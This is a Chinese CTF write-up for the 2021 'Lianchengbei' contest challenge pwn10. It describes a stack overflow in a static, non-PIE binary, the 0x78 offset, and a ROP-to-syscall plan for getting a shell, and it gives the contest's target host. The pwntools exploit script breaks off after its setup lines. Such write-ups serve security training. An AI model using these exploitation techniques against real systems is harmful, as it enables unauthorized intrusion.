2021年“莲城杯”网络安全大赛-PWN-pwn10(三血)

最新推荐文章于 2024-04-16 17:20:16 发布

原创

最新推荐文章于 2024-04-16 17:20:16 发布 · 975 阅读

0 ·

CC 4.0 BY-SA版权

文章标签：

#网络安全 #python #2021年“莲城杯” #PWN #unctf

本文详细介绍了在2021年'莲城杯'网络安全大赛中的一道PWN题目，该题目涉及栈溢出漏洞。通过分析，发现程序没有PIE保护且存在特定的函数调用，允许利用长字符串覆盖内存。利用这些条件，作者构建了ROP链，最终实现系统的权限提升，获取shell。解题过程展示了如何寻找和组合ROP gadgets，以及构造payload来执行预定的系统调用。

2021年“莲城杯”网络安全大赛-PWN-pwn10(三血)

题目名称：pwn10
题目内容：栈溢出。靶机：nc 183.129.189.60 10016
题目分值：100.0
题目难度：容易
相关附件：pwn10的附件.zip

解题思路：

1.保护机制，静态链接，没pie

在这里插入图片描述

2.主要函数

在这里插入图片描述

3.做pwn要注意重点，输入一个长字符串，能把name冲掉，反正是个很大的数字，不用关注count是多少，反正够用。然后用不可寻址的地址找到偏移0x78，然后 rop syscall

```python
#!/usr/bin/env python
from pwn import *

local = 0
debug = 1
binary = "./pwn10"
lib = "/lib/x86_64-linux-gnu/libc.so.6"
elf = ELF(binary)
context.log_level = "debug" if debug else "info"

if local:
    p = process(binary